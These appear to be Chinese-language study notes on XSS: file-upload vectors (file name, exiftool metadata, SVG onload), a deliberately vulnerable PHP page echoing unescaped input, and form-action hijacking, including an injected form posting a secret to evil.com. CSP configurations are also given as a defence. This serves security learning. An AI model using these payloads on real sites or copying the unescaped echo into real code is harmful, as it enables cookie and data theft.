xss
1.XSS姿勢——文件上傳XSS https://wooyun.x10sec.org/static/drops/tips-14915.html
總結:
1.1.文件名方式,原理:有些文件名可能反應在頁面上,帶有xss命令的文件可以起到攻擊作用
實例:pikachu靶機文件上傳后,會有提示文件名上傳成功,將文件名修改成xss命令
1.2.metadata 原理:exiftool修改圖片的-artlist屬性引起xss
想象:上傳圖片后,顯示圖片的artlist屬性,通過exiftool修改圖片的屬性
1.3.content 原理:可以上傳svg文件的格式,內容帶有<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>,上傳后訪問svg文件觸發xss
實例:訪問http://127.0.0.1/test.svg觸發
1.4.sorce
1.touch xss.gif
2.vim xss.gif
3.<svg xmlns="http://www.w3.org/2000/svg"onload="alert(document.domain)"/>
4.file xss.gif
5.訪問
2.利用反射型XSS二次注入繞過CSP form-action限制
步驟
2.1 D:\phpStudy\WWW\xss\secret.php 頁面代碼如下:
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
</body>
</html>
2.2 無csp,攻擊者通過xss修改action
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
<script>
var form1=document.getElementsByTagName('form');
form1[0].setAttribute("action","http://www.baidu.com")
new_action=form1[0].getAttribute("action");
alert(new_action);
</script>
</body>
</html>
將http://www.baidu.com修改成攻擊頁面可以獲取cookie信息和獲取隱私信息如xiao_mi_mi
2.3 使用csp白名單策略+限制外部js的加載+不允許內聯腳本
csp的配置:
Apache服務
在VirtualHost的httpd.conf文件或者.htaccess文件中加入以下代碼
Header set Content-Security-Policy "default-src 'self';"
Nginx
在 server {}對象塊中添加如下代碼
add_header Content-Security-Policy "default-src 'self';";
IIS
web.config:中添加
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'self';" />
</customHeaders>
</httpProtocol>
</system.webServer>
2.4 攻擊者修改頁面
通過xss引入以下語句:
<div><form action='http://evil.com/wo_de_mi_mi.php'></div>
<form method='POST' id='subscribe' action='oo.html'>
測試這個頁面,第二個form不起作用,此時提交action=www.baidu.com:
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>
<div><form action='http://www.baidu.com'></div>
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
</body>
</html>
2.5 CSP加上了form-action來限定form標簽的action指向
from-action限制方法:
Content-Security-Policy: form-action <source> <source>
2.6 攻擊者修改頁面
攻擊者通過幾個<input>最終繞過csp
3 xss報警機制
3.1分前端數據庫端后端來划分,
3.2 可以使用csp來防御
3.3 xss危害相對較少,數量可能多